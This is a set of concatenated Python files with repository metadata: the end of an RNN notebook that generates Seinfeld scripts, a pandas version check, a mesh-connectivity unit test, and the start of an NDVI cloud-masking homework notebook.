with other parameters in the next section.\n\n# In[125]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\n\ndef train_rnn(rnn, batch_size, optimizer, criterion, n_epochs, show_every_n_batches=100):\n    batch_losses = []\n    \n    rnn.train()\n\n    print(\"Training for %d epoch(s)...\" % n_epochs)\n    for epoch_i in range(1, n_epochs + 1):\n        \n        # initialize hidden state\n        hidden = rnn.init_hidden(batch_size)\n        \n        for batch_i, (inputs, labels) in enumerate(train_loader, 1):\n            \n            # make sure you iterate over completely full batches, only\n            n_batches = len(train_loader.dataset)//batch_size\n            if(batch_i > n_batches):\n                break\n            # forward, back prop\n            loss, hidden = forward_back_prop(rnn, optimizer, criterion, inputs, labels, hidden)          \n            # record loss\n            batch_losses.append(loss)\n#             print(loss)\n            # printing loss stats\n            if batch_i % show_every_n_batches == 0:\n                print('E{}L{:0.2f}'.format(\n                    epoch_i, np.average(batch_losses)), end=' ')\n                batch_losses = []\n\n    # returns a trained rnn\n    return rnn\n\n\n# ### Hyperparameters\n# \n# Set and train the neural network with the following parameters:\n# - Set `sequence_length` to the length of a sequence.\n# - Set `batch_size` to the batch size.\n# - Set `num_epochs` to the number of epochs to train for.\n# - Set `learning_rate` to the learning rate for an Adam optimizer.\n# - Set `vocab_size` to the number of unique tokens in our vocabulary.\n# - Set `output_size` to the desired size of the output.\n# - Set `embedding_dim` to the embedding dimension; smaller than the vocab_size.\n# - Set `hidden_dim` to the hidden dimension of your RNN.\n# - Set `n_layers` to the number of layers/cells in your RNN.\n# - Set `show_every_n_batches` to the number of batches at which the neural network should print progress.\n# \n# If the network isn't getting the desired results, tweak these parameters and/or the layers in the `RNN` class.\n\n# In[129]:\n\n\n# Data params\n# Sequence Length\nsequence_length = 10  # of words in a sequence\n# Batch Size\nbatch_size = 128\n\n# data loader - do not change\"\ntrain_loader = batch_data(int_text, sequence_length, batch_size)\n\n\n# In[130]:\n\n\n# Training parameters\n# Number of Epochs\nnum_epochs = 10\n# Learning Rate\nlearning_rate = 0.001\n\n# Model parameters\n# Vocab size\nvocab_size = len(vocab_to_int)\n# Output size\noutput_size = vocab_size\n# Embedding Dimension\nembedding_dim = 300\n# Hidden Dimension\nhidden_dim = 256\n# Number of RNN Layers\nn_layers = 2\n\n# Show stats for every n number of batches\nshow_every_n_batches = 2000\nprint(vocab_size)\n\n\n# ### Train\n# In the next cell, you'll train the neural network on the pre-processed data.  If you have a hard time getting a good loss, you may consider changing your hyperparameters. In general, you may get better results with larger hidden and n_layer dimensions, but larger models take a longer time to train. \n# > **You should aim for a loss less than 3.5.** \n# \n# You should also experiment with different sequence lengths, which determine the size of the long range dependencies that a model can learn.\n\n# In[131]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\ntrain_on_gpu=True\n# create model and move to gpu if available\nrnn = RNN(vocab_size, output_size, embedding_dim, hidden_dim, n_layers, dropout=0.5)\nif train_on_gpu:\n    rnn.cuda()\n\n# defining loss and optimization functions for training\noptimizer = torch.optim.Adam(rnn.parameters(), lr=learning_rate)\ncriterion = nn.CrossEntropyLoss()\n\n# training the model\ntrained_rnn = train_rnn(rnn, batch_size, optimizer, criterion, num_epochs, show_every_n_batches)\n\n# saving the trained model\nhelper.save_model('./save/trained_rnn', trained_rnn)\nprint('Model Trained and Saved')\n\n\n# In[ ]:\n\n\n# E1L4.86 E2L4.68 E3L4.59 E4L4.58 E5L4.58 E6L4.58 \n# E1L5.00 E1L4.73 E1L4.64 E2L4.46 E2L4.39 E2L4.38 E3L4.32 E3L4.30 E3L4.31 E4L4.27 E4L4.26 E4L4.25 E5L4.23 E5L4.23 E5L4.22 \n# E6L4.21 E6L4.21 E6L4.20 E7L4.19 E7L4.20 E7L4.18 E8L4.18 E8L4.19 E8L4.17 \n# E9L4.17 E9L4.17 E9L4.16 E10L4.16 E10L4.16 E10L4.15 E11L4.15 E11L4.16 E11L4.14 E12L4.15 E12L4.15 E12L4.14 \n\n\n# In[ ]:\n\n\n# E1L4.77 E2L4.44 E3L4.31 E4L4.26 E5L4.23 E6L4.21 E7L4.19 E8L4.18 E9L4.17 E10L4.16 \n# E1L5.17 E1L4.71 E1L4.74 E1L4.64 E1L4.54 E1L4.66 E2L4.51 E2L4.28 E2L4.41 E2L4.35 E2L4.30 E2L4.44 \n# E1L5.13 E1L4.71 E1L4.73 E1L4.63 E1L4.54 E1L4.66 E2L4.51 E2L4.28 E2L4.41 \n\n\n# ### Question: How did you decide on your model hyperparameters? \n# For example, did you try different sequence_lengths and find that one size made the model converge faster? What about your hidden_dim and n_layers; how did you decide on those?\n\n# **Answer:** \n# - n_layers: from FeiFei Li's research, we choose 2 to be the optimized LSTM layer.\n# - sequence_lengths: since a typical sentence contains words ranges from 7-16, we tested 10 ,16, 20. 10 converges faster.\n# - hidden_dim: values of 128, 256, 512 are tried, 256 converges the best.\n# - embed dim: we fisrt tried values of 768, 1024 are tried since these are the embed dimension for BERT and GLOVE. None of them converges fast. Thus, we pick 300 as in previous rnn assignments.\n# - learning rate: values of 1, 0.1, 0.01,0.003,0.001 are tried, 0.001 converges faster.\n# - since batchsize and nepoch have the same effect on training, we fixed batch size to be 128 and set the number of epochs to be 10 to avoid overfitting.\n\n# ---\n# # Checkpoint\n# \n# After running the above training cell, your model will be saved by name, `trained_rnn`, and if you save your notebook progress, **you can pause here and come back to this code at another time**. You can resume your progress by running the next cell, which will load in our word:id dictionaries _and_ load in your saved model by name!\n\n# In[132]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport torch\nimport helper\nimport problem_unittests as tests\n\n_, vocab_to_int, int_to_vocab, token_dict = helper.load_preprocess()\ntrained_rnn = helper.load_model('./save/trained_rnn')\n\n\n# ## Generate TV Script\n# With the network trained and saved, you'll use it to generate a new, \"fake\" Seinfeld TV script in this section.\n# \n# ### Generate Text\n# To generate the text, the network needs to start with a single word and repeat its predictions until it reaches a set length. You'll be using the `generate` function to do this. It takes a word id to start with, `prime_id`, and generates a set length of text, `predict_len`. Also note that it uses topk sampling to introduce some randomness in choosing the most likely next word, given an output set of word scores!\n\n# In[133]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\nimport torch.nn.functional as F\n\ndef generate(rnn, prime_id, int_to_vocab, token_dict, pad_value, predict_len=100):\n    \"\"\"\n    Generate text using the neural network\n    :param decoder: The PyTorch Module that holds the trained neural network\n    :param prime_id: The word id to start the first prediction\n    :param int_to_vocab: Dict of word id keys to word values\n    :param token_dict: Dict of puncuation tokens keys to puncuation values\n    :param pad_value: The value used to pad a sequence\n    :param predict_len: The length of text to generate\n    :return: The generated text\n    \"\"\"\n    rnn.eval()\n    \n    # create a sequence (batch_size=1) with the prime_id\n    current_seq = np.full((1, sequence_length), pad_value)\n    current_seq[-1][-1] = prime_id\n    predicted = [int_to_vocab[prime_id]]\n    \n    for _ in range(predict_len):\n        if train_on_gpu:\n            current_seq = torch.LongTensor(current_seq).cuda()\n        else:\n            current_seq = torch.LongTensor(current_seq)\n        \n        # initialize the hidden state\n        hidden = rnn.init_hidden(current_seq.size(0))\n        \n        # get the output of the rnn\n        output, _ = rnn(current_seq, hidden)\n        \n        # get the next word probabilities\n        p = F.softmax(output, dim=1).data\n        if(train_on_gpu):\n            p = p.cpu() # move to cpu\n         \n        # use top_k sampling to get the index of the next word\n        top_k = 5\n        p, top_i = p.topk(top_k)\n        top_i = top_i.numpy().squeeze()\n        \n        # select the likely next word index with some element of randomness\n        p = p.numpy().squeeze()\n        word_i = np.random.choice(top_i, p=p/p.sum())\n        \n        # retrieve that word from the dictionary\n        word = int_to_vocab[word_i]\n        predicted.append(word)     \n        \n        if(train_on_gpu):\n            current_seq = current_seq.cpu() # move to cpu\n        # the generated word becomes the next \"current sequence\" and the cycle can continue\n        if train_on_gpu:\n            current_seq = current_seq.cpu()\n        current_seq = np.roll(current_seq, -1, 1)\n        current_seq[-1][-1] = word_i\n    \n    gen_sentences = ' '.join(predicted)\n    \n    # Replace punctuation tokens\n    for key, token in token_dict.items():\n        ending = ' ' if key in ['\\n', '(', '\"'] else ''\n        gen_sentences = gen_sentences.replace(' ' + token.lower(), key)\n    gen_sentences = gen_sentences.replace('\\n ', '\\n')\n    gen_sentences = gen_sentences.replace('( ', '(')\n    \n    # return all the sentences\n    return gen_sentences\n\n\n# ### Generate a New Script\n# It's time to generate the text. Set `gen_length` to the length of TV script you want to generate and set `prime_word` to one of the following to start the prediction:\n# - \"jerry\"\n# - \"elaine\"\n# - \"george\"\n# - \"kramer\"\n# \n# You can set the prime word to _any word_ in our dictionary, but it's best to start with a name for generating a TV script. (You can also start with any other names you find in the original text file!)\n\n# In[134]:\n\n\n# run the cell multiple times to get different results!\ngen_length = 400 # modify the length to your preference\nprime_word = 'jerry' # name for starting the script\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\npad_word = helper.SPECIAL_WORDS['PADDING']\ngenerated_script = generate(trained_rnn, vocab_to_int[prime_word + ':'], int_to_vocab, token_dict, vocab_to_int[pad_word], gen_length)\nprint(generated_script)\n\n\n# #### Save your favorite scripts\n# \n# Once you have a script that you like (or find interesting), save it to a text file!\n\n# In[135]:\n\n\n# save script to a text file\nf =  open(\"generated_script_1.txt\",\"w\")\nf.write(generated_script)\nf.close()\n\n\n# # The TV Script is Not Perfect\n# It's ok if the TV script doesn't make perfect sense. It should look like alternating lines of dialogue, here is one such example of a few generated lines.\n# \n# ### Example generated script\n# \n# >jerry: what about me?\n# >\n# >jerry: i don't have to wait.\n# >\n# >kramer:(to the sales table)\n# >\n# >elaine:(to jerry) hey, look at this, i'm a good doctor.\n# >\n# >newman:(to elaine) you think i have no idea of this...\n# >\n# >elaine: oh, you better take the phone, and he was a little nervous.\n# >\n# >kramer:(to the phone) hey, hey, jerry, i don't want to be a little bit.(to kramer and jerry) you can't.\n# >\n# >jerry: oh, yeah. i don't even know, i know.\n# >\n# >jerry:(to the phone) oh, i know.\n# >\n# >kramer:(laughing) you know...(to jerry) you don't know.\n# \n# You can see that there are multiple characters that say (somewhat) complete sentences, but it doesn't have to be perfect! It takes quite a while to get good results, and often, you'll have to use a smaller vocabulary (and discard uncommon words), or get more data.  The Seinfeld dataset is about 3.4 MB, which is big enough for our purposes; for script generation you'll want more than 1 MB of text, generally. \n# \n# # Submitting This Project\n# When submitting this project, make sure to run all the cells before saving the notebook. Save the notebook file as \"dlnd_tv_script_generation.ipynb\" and save another copy as an HTML file by clicking \"File\" -> \"Download as..\"->\"html\". Include the \"helper.py\" and \"problem_unittests.py\" files in your submission. Once you download these files, compress them into one zip file for submission.\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "c321decb7a4fb0569b7a49e4b0de9549276bb3ec", "size": 29310, "ext": "py", "lang": "Python", "max_stars_repo_path": "Xu_Solution_Codes/dlnl_tv_script_solution/dlnd_tv_script_generation.py", "max_stars_repo_name": "santphina/deep-learning-v2-pytorch", "max_stars_repo_head_hexsha": "171e1b67fcd8f07b15682db721ab24da6ecf0df7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Xu_Solution_Codes/dlnl_tv_script_solution/dlnd_tv_script_generation.py", "max_issues_repo_name": "santphina/deep-learning-v2-pytorch", "max_issues_repo_head_hexsha": "171e1b67fcd8f07b15682db721ab24da6ecf0df7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Xu_Solution_Codes/dlnl_tv_script_solution/dlnd_tv_script_generation.py", "max_forks_repo_name": "santphina/deep-learning-v2-pytorch", "max_forks_repo_head_hexsha": "171e1b67fcd8f07b15682db721ab24da6ecf0df7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.3375796178, "max_line_length": 417, "alphanum_fraction": 0.6911293074, "include": true, "reason": "import numpy", "num_tokens": 7652, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.36658973632215985, "lm_q2_score": 0.1801066574851787, "lm_q1q2_score": 0.06602525207735722}}
{"text": "\"\"\"\n1. How to import pandas and check the version?\n\"\"\"\n\"\"\"\n \n\"\"\"\n\nimport numpy as np  # optional\nimport pandas as pd\nprint(pd.__version__)\nprint(pd.show_versions(as_json=True))", "meta": {"hexsha": "0d2a739735db3b8d68648eba57a9b06753c5c5d0", "size": 176, "ext": "py", "lang": "Python", "max_stars_repo_path": "pset_pandas_ext/101problems/solutions/p1.py", "max_stars_repo_name": "mottaquikarim/pydev-psets", "max_stars_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2019-04-08T20:05:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T20:48:45.000Z", "max_issues_repo_path": "pset_pandas_ext/101problems/solutions/p1.py", "max_issues_repo_name": "mottaquikarim/pydev-psets", "max_issues_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-04-15T15:16:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T10:33:32.000Z", "max_forks_repo_path": "pset_pandas_ext/101problems/solutions/p1.py", "max_forks_repo_name": "mottaquikarim/pydev-psets", "max_forks_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-10T00:14:42.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-26T20:35:21.000Z", "avg_line_length": 16.0, "max_line_length": 46, "alphanum_fraction": 0.7045454545, "include": true, "reason": "import numpy", "num_tokens": 42, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.13296424535145931, "lm_q1q2_score": 0.06596274165911636}}
{"text": "import unittest\n\nimport numpy as np\nimport scipy.io as sp_io\n\nimport two_d.geometry as geo\n\n\nclass TestGeometry(unittest.TestCase):\n    \"\"\"Checks the correctness of functions in geometry.py.\"\"\"\n\n    def setUp(self):\n        \"\"\"Initializes common variables in the test.\"\"\"\n        super().setUp()\n\n        self.mesh = sp_io.loadmat('two_d/test_data/maxwell.mat')\n\n    def test_connect_provides_correct_connectivity_matrices(self):\n        \"\"\"Checks if the connect function generates correct 2D connectivity.\"\"\"\n        e_to_e, e_to_f = geo.connect(self.mesh['EToV'])\n\n        with self.subTest(name='EToE'):\n            np.testing.assert_array_equal(self.mesh['EToE'], e_to_e)\n\n        with self.subTest(name='EToF'):\n            np.testing.assert_array_equal(self.mesh['EToF'], e_to_f)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "bb067cb79bb7bb1100267c8b124679c85abaca9f", "size": 835, "ext": "py", "lang": "Python", "max_stars_repo_path": "two_d/geometry_test.py", "max_stars_repo_name": "john-qingwang/py_nodal_dg", "max_stars_repo_head_hexsha": "07aef8ee938889972335c9ad7191c1f28d89a64b", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "two_d/geometry_test.py", "max_issues_repo_name": "john-qingwang/py_nodal_dg", "max_issues_repo_head_hexsha": "07aef8ee938889972335c9ad7191c1f28d89a64b", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "two_d/geometry_test.py", "max_forks_repo_name": "john-qingwang/py_nodal_dg", "max_forks_repo_head_hexsha": "07aef8ee938889972335c9ad7191c1f28d89a64b", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.935483871, "max_line_length": 79, "alphanum_fraction": 0.6754491018, "include": true, "reason": "import numpy,import scipy", "num_tokens": 186, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.13296424535145931, "lm_q1q2_score": 0.06596274165911636}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name:** Avra Saslow\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# # Psuedocode for just HARV site\n# 1. Go within 'ndvi-automation' folder four levels down to access tif files for HARV\n# 2. Extract and sort bands 4-5 \n# 3. Open up the bands with function open_clean_bands\n#     - this will use rxr to open the raster, and crop_boundary as a crop extent\n# 4. Calculate NDVI\n# 5. Obtain QA data from landsat files for cloud mask\n#     -extract all files from a tif folder that end in \"pixel.tif\"\n#     -open up that qa data with rxr\n# 6. Create cloud mask from ep cloud pixels\n#     -refer to textbook for this \n# 7. Get the mean of the new masked xarray\n# 8. Create df with 3 columns: mean, the site name, and the date in datetime\n# \n# # Psuedocode for both sites\n# Mostly the same as above, except we can't just name the tif file for a specific site. So...\n# 1. One for loop for each site directory\n# 2. A nested loop for each landsat file directory \n# 4. Extract just files for bands 4-5\n# 3. Another nested for loop for each band in band folder\n# 3. Open up the bands with function open_clean_bands\n# 4. Calculate NDVI\n# 5. Obtain QA data from landsat files for cloud mask \n#     - using cloud mask function\n# 6. I'll have already created cloud mask from ep cloud pixels - don't need to repeat because it doesn't change\n# 7. Get the mean of the new masked xarray\n# 8. Create df with 3 columns: mean, the site name, and the date in datetime\n#     - create list to do so \n# \n# \n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\n\n# YOUR CODE HERE\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport geopandas as gpd\nimport rioxarray as rxr\nimport xarray as xr\nfrom rasterio.plot import plotting_extent\nimport earthpy as et\nimport earthpy.mask as em\nimport earthpy.spatial as es\nimport earthpy.plot as ep\n\n#set working directory\n\ndata = et.data.get_data('ndvi-automation')\n\nos.chdir(os.path.join(et.io.HOME,\n                      \"earth-analytics\",\n                      \"data\"))\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# _This first code block does quite a lot of the exploration of ndvi-automation folder structure. It sets path variables for the HARV site, creates the crop extent for that specific site, and opens the specific tif folder for LC080130302017031701T1-SC20181023151837. Finally, it extracts just the bands 4-5 to calculate the NDVI._\n# \n# _Because this is just one site, there isn't really a better way to build a function or a for loop that will optimize this workflow._\n\n# In[5]:\n\n\n#----------------------------------------------\n#exploration of folder structure\n#----------------------------------------------\n\n# list both site directories \nsite_path = os.path.join(\"ndvi-automation\", \"sites\")\n\n# Get a list of both site directories \nsites = glob(site_path + \"/*/\")\n#sites\n\n#specifically create df for HARV site\nsite_name = 'HARV'\n\n#----------------------------------------------\n#open shp boundary file from vector directory\n#----------------------------------------------\n\n# go into vector directory to get shp file \nvector_dir = os.path.join(site_path, site_name,\n                          \"vector\")\n\nsite_boundary_path = os.path.join(vector_dir,  site_name + \"-crop.shp\")\nbound = gpd.read_file(site_boundary_path)\n\nbound\n\n#----------------------------------------------\n#open tif files from landsat directory\n#----------------------------------------------\n\n# In the landsat directory, get files \nlandsat_dir = os.path.join(site_path, site_name, \"landsat-crop\")\nlandsat_folder = os.path.join(landsat_dir, \"LC080130302017031701T1-SC20181023151837\")\n\n# Open bands in a sorted format\nband_files = sorted(glob(os.path.join(landsat_folder, \"*band*[4-5].tif\")))\n\nband_files\n\n\n# _The following code block is where my two functions reside - the code was first tested outside of the function and then added after it was confirmed it worked on one site._\n# \n# _open_clean_bands takes one of the band files I just extracted above, opens it up, clips it to HARV's crop extent, cleans it up, and returns that same band for future use._\n# \n# _cloud_mask takes the qa file from a tif folder, opens it up using rxr, clips it to HARV's crop extent as well, and then, using an input of mask values, crops whatever NDVI array is given to a specific cloud mask._\n# \n# _It was important to me not to over complicate these functions. They should be useful and simple to help automate my workflow, and not try to do a billion things at once._\n\n# In[6]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n# YOUR CODE HERE\n\ndef open_clean_bands(band_path,\n                     crop_bound,\n                     valid_range=None):\n    \"\"\"Open and mask a single landsat band using a pixel_qa layer.\n\n    Parameters\n    -----------\n    band_path : string\n        A path to the array to be opened\n    crop_bound : GeoPandas DataFrame\n        A data from that tells us the extent of the site of interest\n    valid_range : tuple (optional)\n        A tuple of min and max range of values for the data. Default = None\n\n\n    Returns\n    -----------\n    arr : xarray DataArray\n        An xarray DataArray with values that should be \n        masked set to 1 for True (Boolean)\n    \"\"\"\n    \n    band = (rxr.open_rasterio(band_path, masked=True)\n        .rio.clip(crop_bound.geometry, from_disk=True)\n        .squeeze())\n\n    # Specify valid range of values\n    if valid_range:\n        mask = ((band <= 0) | (band > 10000))\n        band = band.where(~mask, np.nan)\n\n    return band\n\n\ndef cloud_mask(ndvi_array, site_folder, crop_bound, masked_values):\n    \"\"\" This function masks clouds from a landsat band using a \n    pixel_qa layer.\n    \n     Parameters\n    -----------\n    ndvi_array: xarray DataArray\n        An xarray DataArray with ndvi values\n    site_folder : string\n        A path to the site folder where QA array is\n    crop_bound : GeoPandas DataFrame\n        The crop extent of the area of interest\n    masked_values : list\n        A list of all values to be masked\n\n\n    Returns\n    -----------\n    arr : xarray DataArray\n        An xarray DataArray with ndvi values, masked to the specific values\n    \"\"\"\n    \n    #path to specific QA files - they end in pixel.tif\n    qa_path = glob(os.path.normpath(os.path.join(site_folder, \"*pixel*.tif\")))\n    \n    #open path with rxr using crop extent of specific site\n    qa_file = rxr.open_rasterio(\n            qa_path[0], masked=True).rio.clip(crop_bound.geometry, \n                                              from_disk=True).squeeze()\n    \n    #crop the NDVI where NOT masked values are (i.e., where there isn't cloud cover) \n    ndvi_clean_crop = ndvi_array.where(~qa_file.isin(masked_values))\n    \n    return ndvi_clean_crop\n\n\n# _This is the bulk of the processing for the HARV site. This code block loops through the bands, opens and cleans them, calculates the NDVI, and then finds the associative qa_path from the tif folder. It uses this to create a cloud mask, and then after the raster has been masked, it calculates the mean NDVI, and builds a dataframe from the site name, the date, and the mean NDVI. Because it doesn't have to do this with more than one site, it's pretty streamlined as is._\n\n# In[7]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\n# YOUR CODE HERE\n\n#----------------------------------------------------\n#loop through each band file to open and clean bands\n#----------------------------------------------------\n\nbands = []\nfor aband in band_files:\n    \n    #run open_clean_bands function \n    cleaned_band = open_clean_bands(band_path=aband,\n                                    crop_bound=bound,\n                                    valid_range=(0, 10000))\n    bands.append(cleaned_band)\n\n#----------------------------------------------\n#calculate NDVI\n#----------------------------------------------\n\n# NDVI = (NIR-RED)/(NIR+RED)\nndvi_xr = (bands[1] - bands[0]) / (bands[1] + bands[0])\n#ndvi_xr.plot()\n\n#------------------------------------------------\n#obtain QA data from landsat files for cloud mask\n#------------------------------------------------\n\nqa_path = glob(os.path.normpath(os.path.join(landsat_folder, \"*pixel*.tif\")))\n\nqa_file = rxr.open_rasterio(qa_path[0], masked=True).rio.clip(bound.geometry, \n                                                              from_disk=True).squeeze()\n\n#------------------------------------------------\n#create cloud mask from ep cloud pixels \n#------------------------------------------------\n     \nhigh_cloud_confidence = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"High Cloud Confidence\"]\ncloud = 